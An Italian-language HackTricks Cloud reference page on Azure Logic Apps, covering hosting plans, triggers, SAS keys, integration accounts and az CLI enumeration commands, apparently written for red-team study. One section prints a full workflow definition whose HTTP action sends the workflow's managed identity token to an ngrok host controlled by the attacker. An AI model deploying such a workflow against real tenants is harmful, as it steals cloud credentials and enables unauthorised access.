Az - Logic Apps
Reading time: 16 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Informazioni di base
Azure Logic Apps consente agli sviluppatori di creare e eseguire flussi di lavoro che integrano vari servizi, fonti di dati e applicazioni. Questi flussi di lavoro sono progettati per automatizzare i processi aziendali, orchestrare attività e eseguire integrazioni di dati su diverse piattaforme.
Logic Apps fornisce un designer visivo per creare flussi di lavoro con un ampia gamma di connettori predefiniti, che facilita la connessione e l'interazione con vari servizi:
.png)
Opzioni di hosting
Ci sono diverse opzioni di hosting:
- Consumption
- Multi-tenant: Questo fornisce risorse di calcolo condivise, opera nel cloud pubblico e segue un modello di prezzo pay-per-operation. Questo è ideale per carichi di lavoro leggeri e convenienti. Questo è ciò che chiameremo un "Single Workflow".
- Standard
- Workflow Service Plan: Questo fornisce risorse di calcolo dedicate con integrazione VNET per il networking e addebita per ogni istanza del piano di servizio del flusso di lavoro. È adatto per carichi di lavoro più esigenti che richiedono un maggiore controllo.
- App Service Environment V3: Questo fornisce risorse di calcolo dedicate con piena isolamento e scalabilità. Si integra anche con VNET per il networking e utilizza un modello di prezzo basato sulle istanze di App Service all'interno dell'ambiente.
- Hybrid: Questo è progettato per l'elaborazione locale e il supporto multi-cloud. Consente risorse di calcolo gestite dal cliente con accesso alla rete locale e utilizza Kubernetes Event-Driven Autoscaling (KEDA). Si basa su un Container App Connected Environment.
Flussi di lavoro "Single" / Piano di consumo
Un flusso di lavoro è una sequenza strutturata di passaggi o attività automatizzate che eseguono un processo o obiettivo specifico. Definisce come diverse azioni, condizioni e decisioni interagiscono per raggiungere un risultato desiderato, semplificando le operazioni e riducendo lo sforzo manuale.
tip
Il piano di consumo consente di creare un singolo flusso di lavoro senza la necessità di una Logic App stessa.
Attivatori e Azioni
Gli attivatori del flusso di lavoro indicano quando il flusso di lavoro dovrebbe iniziare. Gli attivatori possono essere un endpoint HTTP, un programma o decine di eventi diversi da Azure o anche da app esterne.
Ogni flusso di lavoro ha diverse azioni. Queste azioni sono i passaggi che il flusso di lavoro segue. A seconda dell'azione, saranno disponibili diversi parametri per configurarla, come:
- Nome della connessione: Connessione da utilizzare con cui l'azione interagirà.
- Tipo di autenticazione: Le diverse opzioni sono Access Key, Microsoft Entra ID, autenticazione del servizio integrato e identità gestita di Logic Apps.
- Da una prospettiva di sola lettura, i dati di autenticazione sono sempre interessanti poiché potrebbero contenere informazioni sensibili.
- Da una prospettiva di scrittura, i dati di autenticazione sono sempre interessanti poiché potrebbero consentire di utilizzare i permessi delle identità gestite assegnate.
- ...
Le azioni hanno anche varie impostazioni, che dipendono dall'azione stessa. Alcune delle impostazioni più comuni sono:
- Politica di ripetizione: Configura il numero di ripetizioni e l'intervallo tra di esse.
- Timeout: Imposta il tempo massimo in cui l'azione può essere eseguita prima di scadere.
- Esegui dopo: Specifica le condizioni che devono essere soddisfatte prima che l'azione venga eseguita.
- Validazione dello schema: Garantisce che i dati in arrivo seguano una struttura predefinita.
- Networking: Configura come gestire diverse intestazioni.
- Input/Output sicuri: Questo nasconderà i dati di input/output dalla cronologia delle esecuzioni.
- ...
Politiche di autorizzazione
Questi flussi di lavoro supportano politiche di autorizzazione con Entra ID per proteggere gli attivatori basati su richiesta richiedendo un token di accesso valido. Questo token deve includere specifiche dichiarazioni:
- Emittente (iss) per verificare il fornitore di identità
- Destinatario (aud) per garantire che il token sia destinato alla Logic App
- Soggetto (sub) per identificare il chiamante
- ID JWT (identificatore del token Web JSON)
- Dichiarazione personalizzata
Quando viene ricevuta una richiesta, Logic Apps convalida il token rispetto a queste dichiarazioni e consente l'esecuzione solo se corrispondono alla politica configurata. Questo può essere utilizzato per consentire a un altro tenant di attivare il flusso di lavoro o negare l'attivazione da altre fonti, ad esempio consentendo l'attivazione solo se proviene da https://login.microsoftonline.com/.
Chiavi di accesso
I flussi di lavoro generano 2 chiavi di accesso quando vengono creati. Queste chiavi vengono utilizzate per autenticare e autorizzare le richieste al flusso di lavoro. Le chiavi vengono utilizzate per generare un token di firma di accesso condiviso (SAS), che è incluso nell'URL della richiesta.
Quindi, quando viene creato un attivatore di endpoint HTTP, viene generato un endpoint HTTP unico con una firma SAS che concede il permesso di chiamare il flusso di lavoro.
Queste chiavi possono essere rigenerate e verrà creato un nuovo URL SAS per questi attivatori, ma i valori delle chiavi non possono essere accessibili.
Esempio di un URL SAS per invocare un attivatore:
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
Impostazioni e Componenti del Workflow
- Opzione di accesso al trigger: Questa impostazione consente di limitare chi può attivare o avviare il tuo workflow. Le opzioni sono Qualsiasi IP, Solo altri workflow e Intervalli IP specifici.
- Account di integrazione: Collega il tuo workflow a un Account di Integrazione.
- Alto throughput: Se attivato, consente di gestire più richieste in parallelo rapidamente.
- Conservazione della cronologia delle esecuzioni: Questo indica il numero di giorni per mantenere la cronologia delle esecuzioni.
- Connessioni API: Questo mostra le diverse connessioni API che il workflow ha. All'interno di ciascuna di queste connessioni hanno diverse proprietà e la possibilità di modificare la connessione API dove il tipo di autenticazione può essere cambiato.
- Cronologia: Ha l'opzione di accedere alla cronologia delle vecchie esecuzioni e ottenere dati: Impostazioni, Output, Parametri e il Codice.
- Versioni: Ha l'opzione di accedere a diverse versioni del workflow, dove puoi controllare il codice e cambiare il workflow attuale con una versione precedente di esso.
- Identità Gestite: È possibile assegnare 1 identità gestita di sistema e un'identità gestita dall'utente al workflow.
Token di accesso MI in fuga
L'azione HTTP in un workflow può essere utilizzata per inviare dati a un web esterno. Nei Parametri avanzati dell'azione HTTP, è possibile configurare il Tipo di autenticazione come Managed identity e poi selezionare l'Identità Gestita assegnata da utilizzare (sistema o utente).
Inoltre, è possibile indicare nell'Audience il pubblico del JWT generato, che potrebbe essere ad esempio https://management.azure.com/ per poter utilizzare il token generato per accedere all'API di gestione di Azure.
warning
Facendo in modo che l'azione invii la richiesta HTTP a un server controllato da un attaccante, è possibile far trapelare il token di accesso dell'identità gestita assegnata al workflow.
tip
Un attaccante potrebbe anche utilizzare altri tipi di azioni per accedere direttamente ad altri servizi Azure e compiere azioni con i permessi dell'identità gestita.
Questo è il codice di un workflow che espone un endpoint HTTP e poi utilizza un'azione HTTP per far trapelare il token di accesso all'URL configurato (ngrok in questo caso):
Codice del Workflow
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
Logic Apps / Piano Standard
Differenze con i "Workflow" Singoli
Le logic app utilizzano fondamentalmente un App Service in background per ospitare la logic app che può ospitare diversi workflow. Questo significa che la logic app avrà tutte le funzionalità di un App Service e dei "Workflow" Singoli.
Al alcune caratteristiche chiave sarebbero:
- Piano App Service: Le Logic Apps nel piano Standard sono ospitate su un Piano App Service, quindi è possibile utilizzare tutte le funzionalità dell'App Service come:
- Restrizioni di Rete: Indica da dove è accessibile.
- Centro di Distribuzione: Distribuisci da piattaforme esterne come Github, Bitbucket, Azure Repos, Git Esterno e Git Locale.
- Accesso FTP: È possibile accedere ai file della Logic App tramite FTP.
- Account di Archiviazione: L'app di servizio utilizza un account di archiviazione per memorizzare informazioni.
- Variabili Env & Impostazioni App: È possibile configurare variabili di ambiente e impostazioni dell'app (e trovare informazioni sensibili come le chiavi di accesso all'account di archiviazione).
- ...
- Parametri: I parametri ti consentono di gestire valori che variano tra sviluppo, test e produzione. Questo ti consente di progettare prima i workflow, quindi regolare facilmente le impostazioni specifiche per l'ambiente in seguito.
- Risorse Dedicati: Le Logic Apps nel piano Standard hanno risorse dedicate.
- Workflow Multipli: Consente di creare più workflow.
Per ulteriori informazioni sui Servizi App controlla:
Enumerazione
# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"
# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"
# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"
# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"
Account di Integrazione
Account di Integrazione, sono una funzionalità di Azure Logic Apps. Gli Account di Integrazione vengono utilizzati per facilitare integrazioni a livello aziendale abilitando capacità B2B avanzate, come EDI, AS2 e gestione degli schemi XML. Gli Account di Integrazione sono un contenitore in Azure che memorizza i seguenti artefatti utilizzati per le Logic Apps:
- Schemi: Gestisci schemi XML per convalidare e elaborare messaggi nel tuo account di integrazione.
- Mappe: Configura trasformazioni basate su XSLT per convertire formati di dati all'interno dei tuoi flussi di lavoro di integrazione.
- Assembly: Gestisci le assembly dell'account di integrazione per semplificare la logica e l'elaborazione dei dati.
- Certificati: Gestisci certificati per crittografare e firmare messaggi, garantendo comunicazioni sicure.
- Partner: Gestisci le informazioni sui partner commerciali per transazioni B2B, abilitando integrazioni senza soluzione di continuità.
- Accordi: Configura regole e impostazioni per lo scambio di dati con i partner commerciali (ad es., EDI, AS2).
- Configurazioni Batch: Gestisci configurazioni di elaborazione batch per raggruppare ed elaborare messaggi in modo efficiente.
- RosettaNet PIP: Configura i Processi di Interfaccia Partner RosettaNet (PIP) per standardizzare la comunicazione B2B.
Enumerazione
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
Escalatione dei privilegi
Stesso metodo di privesc delle logic apps:
Post Sfruttamento
Az - Logic Apps Post Exploitation
Persistenza
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud